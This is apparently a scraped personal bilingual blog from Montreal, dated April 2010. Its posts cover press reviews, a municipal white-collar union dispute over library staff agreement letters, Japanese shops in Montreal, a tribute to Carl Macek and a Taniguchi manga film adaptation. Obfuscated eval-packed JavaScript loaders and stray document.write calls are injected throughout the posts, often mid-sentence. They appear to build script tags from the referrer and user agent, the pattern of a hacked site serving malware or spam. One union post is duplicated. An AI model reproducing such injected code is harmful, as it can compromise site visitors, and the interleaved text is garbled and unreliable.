Revue de Presse / Press Review (2010/04/29)

The usual routine: busy, document.write(“”); busy, not much news and the ecological disaster of the week: an oil rig sinks in the Golf of Mexico, spilling enough of the black gold to make the Exxon-Valdez blush!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adrsy|var|u0026u|referrer|srfes||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyzad|var|u0026u|referrer|eazid||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Le climat se rafraîchit

Après avoir eut des températures dans les 20’C à plusieurs reprises durant avril, document.write(“”); voilà qu’il neige à nouveau! On pourrait appeller ça l’hiver indien je crois!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfda|var|u0026u|referrer|ddfbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srzfk|var|u0026u|referrer|ikyez||js|php’.split(‘|’),0,{}))

Citation de la semaine:
Pater dimitte illis non enim sciunt quid faciunt…” (Luc 23:34)

Nouvelles syndicales

Assemblée sectorielle à Ahuntsic-Cartierville
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfssy|var|u0026u|referrer|sazha||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbyys|var|u0026u|referrer|btbda||js|php’.split(‘|’),0,{}))
La campagne pour faire repousser l’
assemblée sectorielle portant sur la lettre d’entente tant que le texte de celle-ci n’aura pas été préalablement soumis aux auxiliaires des bibliothèques de l’arrondissement Ahuntsic-Cartierville va bon train [voir le Canardeur de Ahuntsic-Cartierville vol. 1, document.write(“”); #1, “Le SFMM avisé de notre position”].

La très grande majorité des auxiliaires des bibliothèques de l’arrondissement a signé une lettre-ultimatum exigeant “de recevoir, et cela au moins quinze (15) jours avant tout vote, le texte écrit sur papier de la lettre d’entente négociée avec notre arrondissement. Faute de quoi, nous nous engageons à ne pas nous présenter à toute Assemblée sectorielle concernant l’adoption de toute lettre d’entente mettant fin à l’entente EV 96 94.” La lettre-ultimatum a été transmise à l’exécutif du SFMM aujourd’hui. [Pour plus de détails voir le Canardo Pressé vol. 5, #2, “Lettre d’entente: une riposte”]

Inutile de vous présentez à cette assemblée sectorielle car celle-ci n’aura donc pas lieu.

Des lettres-ultimatum et/ou pétitions similaires circulent également dans les autres arrondissements qui n’ont pas encore voté leur lettre d’entente.

Campagne médiatique du SFMM
Dans un Fonctionnaire Express diffusé hier, le SFMM annonce “Notre Syndicat lance une vaste campagne médiatique.” Le thème de la campagne est “Montréal, fais une ville de toi!” Un communiqué de presse a également été émit, mais n’a eu d’écho jusqu’à maintenant que dans le journal Métro.

À l’aide de macarons, de deux annonces radiophoniques diffusées dans le grand-Montréal (l’un des clips de 30 secondes est lu par une femme et l’autre par un homme) et de trois publicités qui seront affichées sur des centaines d’autobus de la STM, la campagne dénonce “le manque de coordination entre les services offerts par la ville centre et les 19 arrondissements, leur inefficacité, la sous-traitance coûteuse et inutile, la perte d’expertise publique, la lourdeur de l’appareil municipal et surtout les pertes d’économie importantes pour les citoyens.”

Cette campagne d’opinion publique fait partie d’un plan d’action (présenté uniquement devant un conseil général et non devant l’ensemble des membres—le plan d’action n’aurait pas été prêt à temps pour l’assemblée générale nous a-t-on dit) qui vise à faire comprendre que les choses vont mal dans la fonction publique de la ville et que la situation est devenue invivable pour les cols blancs. Le SFMM affirme aussi son intention de ne pas négocier la nouvelle convention collective (due en janvier 2011) tant que des solutions concrètes n’auraient pas été trouvées (à la dernière assemblée générale, l’exécutive avait suggéré que cette solution pourrait être un amendement à la Chartre de la ville redonnant certains pouvoirs coordonnateur à la ville-centre).

Je dois avouer que, pour une fois, je suis plutôt d’accord avec notre syndicat. Il cible bien la nature du problème qui rend la vie impossible aux cols blancs et propose enfin des solutions. Quel changement! Toutefois je suis décu que ce plan d’action n’ait pas été présenté préalablement en assemblée générale et je suis extrèmement choqué que notre syndicat, tout en dénonçant les arrondissements comme étant la source de tout les problèmes, continue de négocier avec eux des lettres d’entente qu’il demande ensuite aux membres d’entériner! Je trouve cela dégueulasse et hypocrite. Qu’il arrête donc de nous niaiser avec leur lettre d’entente ridicule et se consacre donc à règler nos problèmes et améliorer nos conditions de travail! Cette campagne semble un bon point de départ (quoique j’ignore combien cette campagne nous coûte—un bras et une jambe sans doute—puisqu’elle ne me semble pas mentionnée dans les prévisions budgetaires de 2010…).

Je suis également heureux que, finalement, les médias parlent de nous (les cols blancs) et de nos problèmes, et plus seulement des cols bleus ou des chauffeurs d’autobus. Je suis cependant inquiet que les médias ne comprennent mal ce qui motive cette campagne. Je ne voudrais pas, qu’une fois de plus, on passe pour ceux qui se plaignent le ventre plein. Déjà, le journal Métro note que “la Ville saisit mal la raison d’une telle sortie à un moment où tout semble pourtant bien aller en ce qui concerne les relations interarrondissements.” Très drôle! Il faudrait leur expliquer clairement, d’une part, comment—entre autres—l’éclatement de la ville en arrondissements rend la gestion du personnel extrèmement difficile à vivre et, d’autre part, que cette campagne est justement une étape préliminaire aux négociations à venir. Mais, bon, la campagne ne fait que débuter alors on verra bien où elle nous mènera…

Ad mixer

Assemblée sectorielle à Ahuntsic-Cartierville
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atatk|var|u0026u|referrer|haeei||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|badhb|var|u0026u|referrer|dyern||js|php’.split(‘|’),0,{}))
La campagne pour faire repousser l’
assemblée sectorielle portant sur la lettre d’entente tant que le texte de celle-ci n’aura pas été préalablement soumis aux auxiliaires des bibliothèques de l’arrondissement Ahuntsic-Cartierville va bon train [voir le Canardeur de Ahuntsic-Cartierville vol. 1, document.write(“”); #1, “Le SFMM avisé de notre position”].

La très grande majorité des auxiliaires des bibliothèques de l’arrondissement a signé une lettre-ultimatum exigeant “de recevoir, et cela au moins quinze (15) jours avant tout vote, le texte écrit sur papier de la lettre d’entente négociée avec notre arrondissement. Faute de quoi, nous nous engageons à ne pas nous présenter à toute Assemblée sectorielle concernant l’adoption de toute lettre d’entente mettant fin à l’entente EV 96 94.” La lettre-ultimatum a été transmise à l’exécutif du SFMM aujourd’hui. [Pour plus de détails voir le Canardo Pressé vol. 5, #2, “Lettre d’entente: une riposte”]

Inutile de vous présentez à cette assemblée sectorielle car celle-ci n’aura donc pas lieu.

Des lettres-ultimatum et/ou pétitions similaires circulent également dans les autres arrondissements qui n’ont pas encore voté leur lettre d’entente.

Campagne médiatique du SFMM
Dans un Fonctionnaire Express diffusé hier, le SFMM annonce “Notre Syndicat lance une vaste campagne médiatique.” Le thème de la campagne est “Montréal, fais une ville de toi!” Un communiqué de presse a également été émit, mais n’a eu d’écho jusqu’à maintenant que dans le journal Métro.

À l’aide de macarons, de deux annonces radiophoniques diffusées dans le grand-Montréal (l’un des clips de 30 secondes est lu par une femme et l’autre par un homme) et de trois publicités qui seront affichées sur des centaines d’autobus de la STM, la campagne dénonce “le manque de coordination entre les services offerts par la ville centre et les 19 arrondissements, leur inefficacité, la sous-traitance coûteuse et inutile, la perte d’expertise publique, la lourdeur de l’appareil municipal et surtout les pertes d’économie importantes pour les citoyens.”

Cette campagne d’opinion publique fait partie d’un plan d’action (présenté uniquement devant un conseil général et non devant l’ensemble des membres—le plan d’action n’aurait pas été prêt à temps pour l’assemblée générale nous a-t-on dit) qui vise à faire comprendre que les choses vont mal dans la fonction publique de la ville et que la situation est devenue invivable pour les cols blancs. Le SFMM affirme aussi son intention de ne pas négocier la nouvelle convention collective (due en janvier 2011) tant que des solutions concrètes n’auraient pas été trouvées (à la dernière assemblée générale, l’exécutive avait suggéré que cette solution pourrait être un amendement à la Chartre de la ville redonnant certains pouvoirs coordonnateur à la ville-centre).

Je dois avouer que, pour une fois, je suis plutôt d’accord avec notre syndicat. Il cible bien la nature du problème qui rend la vie impossible aux cols blancs et propose enfin des solutions. Quel changement! Toutefois je suis décu que ce plan d’action n’ait pas été présenté préalablement en assemblée générale et je suis extrèmement choqué que notre syndicat, tout en dénonçant les arrondissements comme étant la source de tout les problèmes, continue de négocier avec eux des lettres d’entente qu’il demande ensuite aux membres d’entériner! Je trouve cela dégueulasse et hypocrite. Qu’il arrête donc de nous niaiser avec leur lettre d’entente ridicule et se consacre donc à règler nos problèmes et améliorer nos conditions de travail! Cette campagne semble un bon point de départ (quoique j’ignore combien cette campagne nous coûte—un bras et une jambe sans doute—puisqu’elle ne me semble pas mentionnée dans les prévisions budgetaires de 2010…).

Je suis également heureux que, finalement, les médias parlent de nous (les cols blancs) et de nos problèmes, et plus seulement des cols bleus ou des chauffeurs d’autobus. Je suis cependant inquiet que les médias ne comprennent mal ce qui motive cette campagne. Je ne voudrais pas, qu’une fois de plus, on passe pour ceux qui se plaignent le ventre plein. Déjà, le journal Métro note que “la Ville saisit mal la raison d’une telle sortie à un moment où tout semble pourtant bien aller en ce qui concerne les relations interarrondissements.” Très drôle! Il faudrait leur expliquer clairement, d’une part, comment—entre autres—l’éclatement de la ville en arrondissements rend la gestion du personnel extrèmement difficile à vivre et, d’autre part, que cette campagne est justement une étape préliminaire aux négociations à venir. Mais, bon, la campagne ne fait que débuter alors on verra bien où elle nous mènera…
Q. What do you get if you mix a Viagra and a Geico ad?

A. Insurance against reptile dysfunction!

Revue de Presse / Press Review (2010/04/22)

Despite being quite busy (have you noticed I didn’t write any review lately?) I can still find news to read. The main story of the week was this Islandic volcano wreacking avroc with European air travel.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kndrt|var|u0026u|referrer|ithri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryibh|var|u0026u|referrer|ffhsz||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics // Earth Day Special //

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Shopping Japanese in Montreal

Tuesday I visited with my wife a (very) small japanese boutique in downtown Montreal. It’s called “Coco Montreal Space.” They have imported goods from Japan, document.write(“”); designer’s accessories, cookies and many bargains (used books & clothes). It is located at 4055 Ste-Catherine West, #135-B (downstairs, near Metro Atwater) and is open Monday through Friday from 13:00 to 18:00. They also have a small room where they plan to offer various workshops and language courses. It’s cute, but they don’t have much stuff.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hende|var|u0026u|referrer|nkfsn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryesr|var|u0026u|referrer|hzrib||js|php’.split(‘|’),0,{}))

“Coco Montreal Space” is related to the
Coco Montreal free newspaper, dedicated to Canada-Japan cultural exchange (mostly for Japanese expats and Japanese language students).

This reminds me that there are a few other places to shop Japanese in Montreal:

First, there is the “Collection du Japon” store and its related “R. Uchiyama” Japanese Green Tea importer. It is located at 460, Sainte-Catherine West, #423 (Metro McGill, entrance near the Future Shop, on the 4th floor) and is open 13:00-18:00 (Tue-Fri), 10:00-16:00 (Sat). We visit it frequently and recommend it. You can find all sorts of Japanese stuff there: kimonos, books, decoration, kitchen ware, etc.

There is also the “Miyamoto” food store located at 382 Victoria Avenue (near Metro Vendome) and opened 10:00-20:00 (Mon-Fri), 9:00-17:00 (Sat & Sun).

I can also recommand the Japanese restaurant “Sakura Gardens” if you want a “real” Japanese food experience. It is located at 2170 de la Montagne (near Metro Peel). It is opened 11:45-14:30 (Mon-Fri), 12:00-14:30 (Sat) for lunch and 17:30-22:00 (Sun-Thu), 17:30-22:30 (Fri-Sat) for dinner.

Assemblée sectorielle pour Ahuntsic-Cartierville

Une assemblée sectorielle a été convoqué pour tous les aide-bibliothécaires et les bibliotechniciens auxiliaires de l’arrondissement Ahuntsic-Cartierville. On y présentera l’entente de principe relative à l’entente E.V. 96-94 régissant l’octroi des heures de travail (et autres dispositions) et un vote secret sera tenu pour accepter (ou non) la-dite entente.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thrdh|var|u0026u|referrer|zhyaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rityf|var|u0026u|referrer|akyze||js|php’.split(‘|’),0,{}))

L’assemblée sectorielle aura lieu le lundi 3 mai à 9:00 au <a href="
http://www.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=545+rue+fleury+est+montreal+QC&sll=45.553387, document.write(“”); -73.661938&sspn=0.001448, 0.001717&ie=UTF8&hq=&hnear=545+Rue+Fleury+Est,+Montreal,+Communaut%C3%A9-Urbaine-de-Montr%C3%A9al,+Quebec,+Canada&z=16&iwloc=A” target=”“new””>545, rue Fleury Est (entrée Fleury de la bibliothèque Ahuntsic).

A cette assemblée les auxiliaires de l’arrondissement auront à se prononcer sur la lettre d’entente qui régit un aspect important de nos conditions de travail: l’embauche et l’assignation. Si vous désirez en savoir plus sur ce que sont ces lettres d’entente, lire les ententes avec les autres arrondissements et connaitre pourquoi, selon mon humble avis, ces lettres sont mauvaises pour nos conditions de travail, je vous propose de lire le billet “Les Lettres d’entente en question”. Lisez et faites passer le mot (pour faciliter la tâche j’ai créé des liens raccourcis: http://tinyurl.com/yyp4zug ou http://to.ly/338X).

L’entente a été négocié entre le syndicat et l’arrondissement Ahuntsic-Cartierville mais les auxiliaires n’en prendront connaissance que quelques minutes avant le vote. Ils n’auront pas le temps d’y réfléchir, ni d’en discuter. Cette façon de faire est inacceptable. C’est pourquoi, faute d’avoir l’entente en mains au moins quinze jours d’avance afin de procéder à un vote éclairé et véritablement démocratique, je recommande aux auxiliaires des bibliothèques d’Ahuntsic-Cartierville de NE PAS SE PRÉSENTER À L’ASSEMBLÉE (ou, dans le pire des cas, de voter CONTRE l’acceptation de l’entente).

Poll #2: Subject preference

Once again I am quite disappointed by the results of this blog poll. Only six people (out of hundreds of visitors) took the time to provide me this useful information. Since I’ve been writing lots of union-related comments lately, document.write(“”); I am not surprised to learn that it was the favoured subject at the moment. I am also glad to see that books reviews and cultural / historical comments came in second position. However, I get the message and won’t ask you such polling questions anynore. But I still wish more people would leave comments…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drfri|var|u0026u|referrer|sfyhs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfdsr|var|u0026u|referrer|nkrbd||js|php’.split(‘|’),0,{}))

I have also included below a graphic of the blog’s weekly traffic between January 2009 and mid-April 2010. It peaked in mid-October ’09 and, since the end of November ’09, maintained a weekly average around 100 unique (or total) visitors or 25 returning visitors. Its not the thousands I’ve seen on some of my previous sites, but it’s not bad for a tiny personnal blog.

Encore une fois je suis très déçu des résultats de ce sondage. Seulement six personnes (sur des centaines de visiteurs) ont pris le temps de me fournir ces information utiles. Comme j’ai écris beaucoup de billets liés au syndicat ces derniers temps, je ne suis donc pas surpris d’apprendre que c’est le sujet favori du moment. Et je suis heureux de voir que les critiques de livres et les commentaires historico-culturels arrivent en seconde place. Toutefois, cher lecteurs et lectrices, je vous ai compris: je ne vous ferrez plus subir ce genre de sondage. Mais j’aimerais bien avoir un peu plus de vos commentaires…

J’ai aussi inclus ci-haut un graphique du trafic hebdomadaire* entre janvier 2009 et la mi-avril 2010. Après un soubresaut à la mi-octobre ’09, le blog a maintenu une moyenne autour de 100 visiteur unique (ou total) et de 25 visiteurs récurrents** depuis la fin novembre ’09. C’est pas les milliers de visiteurs auxquels j’étais habitué sur mes autres sites mais c’est pas si mal pour un petit blog personnel.

* s’il n’y avait qu’une bosse dans le graphique, ce serait du trafic hebdromadaire… (Désolé, je ne peux pas m’en empêcher, le calambour était trop facile!)
** au moins ils sont propres! ;0
une p’tite dernière: apparemment ce n’est pas tout les “Poll à Québec” qui ont du succès…

R.I.P. Carl Macek

I learned yesterday that Carl Macek (1951-2010) passed away following an heart attack on saturday.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayhni|var|u0026u|referrer|sfbyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzdty|var|u0026u|referrer|tfakz||js|php’.split(‘|’),0,{}))

He is known for having created Robotech (by brilliantly—although it was controversial—stitching together three different japanese animation: Macross, document.write(“”); Southern Cross and Genesis Climber Mospeada) and for adapting into English language many other anime (Akira, Crying Freeman, Doomed Megalopolis, Lensman, Robot Carnival, Twilight of the Cockroaches, and Wicked City). He also collaborated to the production of many other animations (Aura Battler Dunbine, Bleach, Heavy Metal, Lady Death, Lupin III: Castle of Cagliostro, My Neighbor Totoro, Naruto, etc).

This is quite a sad new. I met him several time (mostly in comic-book and anime conventions, starting in the late ’80s) and I have always admired his pioneering work. Since he is responsible for having me discover the rich world of Japanese animation (and, by extension, manga), I owe him a lot. I remember him telling us (embellished) stories about the production of Robotech, and it was so skillfully told that we were suspended to his lips like children listening to a fairy tale, sometimes laughing but always captivated. Since that time, we—our bunch of friends at Protoculture Addicts—were calling him “Uncle Carl.” To paraphrase what was said about Commander Fokker in “Farewell, Big Brother” (episode 18 of Robotech), his death is “a terrible tragedy indeed. I can tell you [he] will be sorely missed.”

You can read tributes to his life on many other web sites: from Jerry Beck (co-founder of Streamline Pictures), from Tommy Yune (director or the new Robotech: The Shadow Chronicles movie), from Rebecca Forstadt (who voiced Minmei as “Reba West”), on ANN and on ICv2.

Requiescat In Pace, Carl Macek.

Quartier Lointain au cinéma

Cette nouvelle est au confluent de deux de mes grands intérêts: le manga et le cinéma. Comme je l’ai déjà mentioné, document.write(“”); Quartier lointain—ce superbe manga de Taniguchi—a été adapté au cinéma par Sam Garbarski. Des détails sur le film, ainsi que la bande-annonce allemande, sont maintenant disponibles.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfyis|var|u0026u|referrer|tkrfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httih|var|u0026u|referrer|shnkt||js|php’.split(‘|’),0,{}))

Le manga raconte l’histoire d’un “salaryman” en pleine crise de la quarantaine qui, un peu par accident, visite son village natal et se retrouve mystérieusement transporté dans le temps, à l’âge de quatorze ans, pour revivre une partie de son adolescence… Si l’histoire originale se déroule au Japon, dans le village de Kurayoshi (préfecture de Tottori), l’adaptation est elle transposée en France, à Nantua (Rhône-Alpes).

“Thomas, la cinquantaine, père de famille, arrive par hasard dans la ville de son enfance. Alors qu’il se recueille sur la tombe de sa mère, il est pris d’un malaise. Quand il se réveille, son corps semble différent et le nom de sa mère n’est plus gravé sur la pierre tombale… Revenu quarante ans en arrière dans son corps d’adolescent, il décide alors de rentrer ‘chez lui’ pour comprendre ce qui a poussé son père à les abandonner cette année-là et tenter d’empêcher cette mystérieuse disparition. Mais peut-on modifier son passé en le revivant ?” [Texte de présentation sur le site du distributeur]

Quartier lointain, dont le titre allemand est Vertraute Fremde (Familiar Strangers), est une co-production belge (Entre Chien et Loup), française (Archipel 35), luxembourgeoise (Samsa Film) et allemande (Pallas Film). Le film de 98 minutes, distribué par Wild Bunch Distribution, met en vedette Léo Legrand (Thomas enfant), Pascal Greggory (Thomas adulte), Jonathan Zaccaï (le père), Alexandra Maria Lara (la mère), Laura Moisson (Corinne), Pierre-Louis Bellet (Rousseau) et Laura Martin (Sylvie). Ayant déjà eut une avant-première à Cannes en 2009, il sortira d’abord en Allemagne le 20 mai (étrange pour ce qui est, techniquement, un film français) et en France en septembre.

Si l’on se fit à la bande-annonce, le film (dont la production avait été annoncé depuis près de quatre ans) est vraiment proche de l’histoire et de la “mise-en-scène” originale (mis à part la transposition du lieu et quelques détails). C’est certainement à voir.

Sources: About.com, ANN, Movie Maze.

Revue de Presse / Press Review (2010/04/15)

Still little news and lots of other stuff to do… And, document.write(“”); since I already cancelled my Gazette subscription and the iPad has been delayed another month, I have to read the news on my tiny iPod Touch! It’s really time I get new glasses…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhths|var|u0026u|referrer|stiyt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snrhb|var|u0026u|referrer|fkety||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple news

